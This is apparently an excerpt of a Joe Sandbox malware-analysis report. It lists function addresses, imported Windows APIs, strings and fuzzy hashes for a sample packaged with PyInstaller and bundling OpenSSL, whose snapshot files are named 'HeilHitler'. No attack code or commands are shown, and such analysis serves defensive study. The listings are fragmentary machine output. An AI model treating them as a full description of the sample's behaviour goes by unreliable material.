Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007B6570
String ID: ..\s\ssl\ssl_ciph.c$ECDHE-ECDSA-AES128-GCM-SHA256$ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384$ECDHE-ECDSA-AES256-GCM-SHA384$SUITEB128$SUITEB128C2$SUITEB128ONLY$SUITEB192
API String ID: 4069847057-2661540032
Opcode ID: 4f80fd11e4851a1e8ac95db5fd60017dee8425b24d40a4da496b151f9a6555b3
Instruction ID: 009120b83a7da74720fd1634075c749d2e4c31671c7493386f4ab9bc839d28ee
Opcode Fuzzy Hash: 4f80fd11e4851a1e8ac95db5fd60017dee8425b24d40a4da496b151f9a6555b3
Instruction Fuzzy Hash: 35418232B08B5296F71CAB24D8A0B7833A0FB88B54F044575DA6E877D8DF6DE550CB00

Function 00007FFDFAE8247D Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 141COMMON

Download Yara Rule

APIs

00007FFE13331210.VCRUNTIME140 ref: 00007FFDFAEE35C9
00007FFE13331210.VCRUNTIME140 ref: 00007FFDFAEE35E6
00007FFE13331210.VCRUNTIME140 ref: 00007FFDFAEE3625

Strings

master s, xrefs: 00007FFDFAEE35F3
n, xrefs: 00007FFDFAEE364A
nsio, xrefs: 00007FFDFAEE3641
key expa, xrefs: 00007FFDFAEE3632
server finished, xrefs: 00007FFDFAEE35DC
..\s\ssl\t1_enc.c, xrefs: 00007FFDFAEE3508, 00007FFDFAEE36C7, 00007FFDFAEE36E5
client finished, xrefs: 00007FFDFAEE35BF
extended master secret, xrefs: 00007FFDFAEE361B

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007E13331210
String ID: ..\s\ssl\t1_enc.c$client finished$extended master secret$key expa$master s$n$nsio$server finished
API String ID: 1677897744-2209449699
Opcode ID: e36d4bbbe3f8c332e257ea66e05025d59355daf1d80406af26721cf5d49c00d7
Instruction ID: daeda7514ef97a0ed152a126a51ad2b698c4d7d95b23234dbaa4eb04bec8d26a
Opcode Fuzzy Hash: e36d4bbbe3f8c332e257ea66e05025d59355daf1d80406af26721cf5d49c00d7
Instruction Fuzzy Hash: A551E762B08B8281E724EF11E8507A9A7A0FB947C4F058175DE9E4779DDF3DD984C700

Function 00007FFDFAF432AB Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

00007FFE1FFA1370.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDFB13AB7C
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB13AB91
00007FFE1FFA1370.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDFB13ABA3

Strings

microsecs, xrefs: 00007FFDFB13ABAE
p, xrefs: 00007FFDFB13AC34
secs, xrefs: 00007FFDFB13AB4D
accuracy, xrefs: 00007FFDFB13AAB3, 00007FFDFB13AB03, 00007FFDFB13AC54
millisecs, xrefs: 00007FFDFB13AB87
..\s\crypto\ts\ts_conf.c, xrefs: 00007FFDFB13AAF0, 00007FFDFB13AC3C

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: 00007$A1370$B5630
String ID: ..\s\crypto\ts\ts_conf.c$accuracy$microsecs$millisecs$p$secs
API String ID: 751195488-1596076588
Opcode ID: a354be8fb617e6a659b2ebe151350e266f0d4f90f2c91f9f87cda44e37b83124
Instruction ID: 9a04a9b73c28df43561c3a7e723ef5953f3c1ce0a87c788d6df1ffda617dfc4c
Opcode Fuzzy Hash: a354be8fb617e6a659b2ebe151350e266f0d4f90f2c91f9f87cda44e37b83124
Instruction Fuzzy Hash: 27517122F1AA4756EB049B15A830EB97391BF44B98F484235ED6E477EDEF3CE5458300

Function 00007FF633D62180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF633D621AB
SelectObject.GDI32 ref: 00007FF633D621F2
DrawTextW.USER32 ref: 00007FF633D62215
SelectObject.GDI32 ref: 00007FF633D6222B
ReleaseDC.USER32 ref: 00007FF633D6223B
MoveWindow.USER32 ref: 00007FF633D6228B
MoveWindow.USER32 ref: 00007FF633D622CB
MoveWindow.USER32 ref: 00007FF633D6231E
MoveWindow.USER32 ref: 00007FF633D62366

Strings

P%, xrefs: 00007FF633D621FF

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 15a930fb3604a091e0071d4d3dfc1e71deb172d3b171f49913c23aa53b7f5003
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 6C51E726608BA186D6349F36E4181BAB7A1F798B65F004225EFDF83795DF3CD085DB10

Function 00007FF633D680C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF633D680FF
GetWindowLongPtrW.USER32 ref: 00007FF633D6817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF633D68192
GetLastError.KERNEL32 ref: 00007FF633D6819C
SetWindowLongPtrW.USER32 ref: 00007FF633D681B3

Strings

Needs to remove its temporary files., xrefs: 00007FF633D68185

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 8102a2354b22de0beb218e9c40ede504b4c952b5fd5cbce5b8658eff246ae12e
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 5C21B721B08A4281E7418BFAE8561797250FF89F91F585330DE3ED73E9DE2CE5959300

Function 00007FFDFAD62720 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFDFAD62748
__scrt_initialize_crt.LIBCMT ref: 00007FFDFAD6278D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFDFAD6279A
_RTC_Initialize.LIBCMT ref: 00007FFDFAD627C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFDFAD627EE
__scrt_release_startup_lock.LIBCMT ref: 00007FFDFAD62819

Memory Dump Source

Source File: 00000001.00000002.2033758431.00007FFDFAD61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAD60000, based on PE: true

Associated: 00000001.00000002.2033713501.00007FFDFAD60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFADC4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE13000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE71000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE74000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034059986.00007FFDFAE75000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034101253.00007FFDFAE77000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfad60000_HeilHitler.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 2c919d68a485a940d5d0ad5c103bd88b2e133b3e89e7b4880588334ffb64ee24
Instruction ID: 7385981c80336662c3b8f548d41b4c9318ec9d588fa3ad61f853791000a18ab1
Opcode Fuzzy Hash: 2c919d68a485a940d5d0ad5c103bd88b2e133b3e89e7b4880588334ffb64ee24
Instruction Fuzzy Hash: 38819E21F1824346F75CAB25AC71AB962A0EF89780F1840B5D96D877DEFE3CE9458700

Function 00007FF633D76290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D762D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D766C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7695C

Strings

-, xrefs: 00007FF633D76369
f, xrefs: 00007FF633D763F5
:, xrefs: 00007FF633D7648C
p, xrefs: 00007FF633D76385
p, xrefs: 00007FF633D763FD

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: a1e15ba2d683aff4b89c6501d1bc6059eaef906aa9de14d71b9258e8bcd0fd10
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 2B12A372E0C24386FB645E94D1562BD76A2FB50754FC84235E68DA6BC4FF3CE980AB00

Function 00007FF633D70FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D71008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D713D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7166F

Strings

p, xrefs: 00007FF633D710AD
f, xrefs: 00007FF633D71255
f, xrefs: 00007FF633D7110A
f, xrefs: 00007FF633D710A0
p, xrefs: 00007FF633D71112

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 566f00aa2c38b411a9e5758c010c0e7eed45ca89efc92fd79a1817dff0e078d3
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: FA12B762E0C14386FB245E94E0466B977A1FB80794FD84335E69E97BC4DF3CE484AB00

Function 00007FF633D61050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF633D611FD
fseek, xrefs: 00007FF633D610D3
Failed to extract %s: failed to open archive file!, xrefs: 00007FF633D61098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF633D611F6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF633D610CC
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF633D61108
malloc, xrefs: 00007FF633D6110F

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 5f0021a5e06caa1d5927e7faba78de093a7e02f73eeda03f06a6a07f76cf53df
Instruction ID: 51369ca1f2913a88d74bca2540edec8a31f8be4fd1f1aeef11c464701a6b4028
Opcode Fuzzy Hash: 5f0021a5e06caa1d5927e7faba78de093a7e02f73eeda03f06a6a07f76cf53df
Instruction Fuzzy Hash: E841A861B0865282EA10DB91A8076B973A0FF44BC4F844632ED9CE7796DF3CF546A740

Function 00007FFDFAF441D8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 117networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFDFB00A48E
WSAGetLastError.WS2_32 ref: 00007FFDFB00A498

Strings

..\s\crypto\bio\b_sock2.c, xrefs: 00007FFDFB00A41E, 00007FFDFB00A4AE, 00007FFDFB00A4CA, 00007FFDFB00A533, 00007FFDFB00A54F, 00007FFDFB00A5AB, 00007FFDFB00A5C7
o, xrefs: 00007FFDFB00A5BF

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: ..\s\crypto\bio\b_sock2.c$o
API String ID: 1729277954-1872632005
Opcode ID: 55b9dc58d84091389097999520ee8ef412c939128f98883080a21d6a8e2db22d
Instruction ID: 05070a034f5d0adcf09504c7ab5e9a48117d94b765d515608eed194cf445d515
Opcode Fuzzy Hash: 55b9dc58d84091389097999520ee8ef412c939128f98883080a21d6a8e2db22d
Instruction Fuzzy Hash: 5D519F22B0954386F3209F11E424ABE73A0FB81B88F444235EAAD47AEDCF3DE545DB40

Function 00007FF633D68660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF633D63CBB), ref: 00007FF633D68704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF633D63CBB), ref: 00007FF633D6870A
CreateDirectoryW.KERNEL32(?,00000000,00007FF633D63CBB), ref: 00007FF633D6874C

Part of subcall function 00007FF633D68830: GetEnvironmentVariableW.KERNEL32(00007FF633D6388E), ref: 00007FF633D68867
Part of subcall function 00007FF633D68830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF633D68889

Part of subcall function 00007FF633D78238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D78251

Part of subcall function 00007FF633D62810: MessageBoxW.USER32 ref: 00007FF633D628EA

Strings

TMP, xrefs: 00007FF633D686C2
TMP, xrefs: 00007FF633D6869C, 00007FF633D687A3
LOADER: failed to set the TMP environment variable., xrefs: 00007FF633D686DC
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF633D6877E
_MEI%d, xrefs: 00007FF633D68712

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 881e4fca8e19ec4ab2ebb52834f4ac375ff8f2bae867f31c8bf391ae1f14406c
Instruction ID: 75af0323ff9a80efafbbee8e034c6139ae6b0d248ea7fffc3df1f4c364d7745c
Opcode Fuzzy Hash: 881e4fca8e19ec4ab2ebb52834f4ac375ff8f2bae867f31c8bf391ae1f14406c
Instruction Fuzzy Hash: A341A421A1964284FA10ABE5A8672B963A1AF847C1FC05331ED1DFB7DADE3CE545E340

Function 00007FF633D6EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF633D6EA65

Part of subcall function 00007FF633D6F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF633D6F9FF
Part of subcall function 00007FF633D6F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF633D6FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF633D6EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF633D6ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF633D6EE98

Strings

csm, xrefs: 00007FF633D6EB60
csm, xrefs: 00007FF633D6EA7F
csm, xrefs: 00007FF633D6EAE6

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: fb1b30cd20393363f9eab9516b10b03b0fc1f1707cefceac0430de3548b9ee72
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 4CD1D432A08B4186EB20DFA5D5423AD37A0FB54788F900335EE5DA77AADF38E095D740

Function 00007FF633D7ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF633D7F0AA,?,?,000001BD40F26958,00007FF633D7AD53,?,?,?,00007FF633D7AC4A,?,?,?,00007FF633D75F3E), ref: 00007FF633D7EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF633D7F0AA,?,?,000001BD40F26958,00007FF633D7AD53,?,?,?,00007FF633D7AC4A,?,?,?,00007FF633D75F3E), ref: 00007FF633D7EE98

Strings

ext-ms-, xrefs: 00007FF633D7EDE9
api-ms-, xrefs: 00007FF633D7EDD6

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 1c2119cbf279b8d7d58f80f071047de15deef92be4f66182e6d03bbbaf58a44b
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: BD412821B29A1281FB15CF96AC126752391BF49BD0F894739DD1DEB7A4EF3CE415A300

Function 00007FF633D62C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62C9E
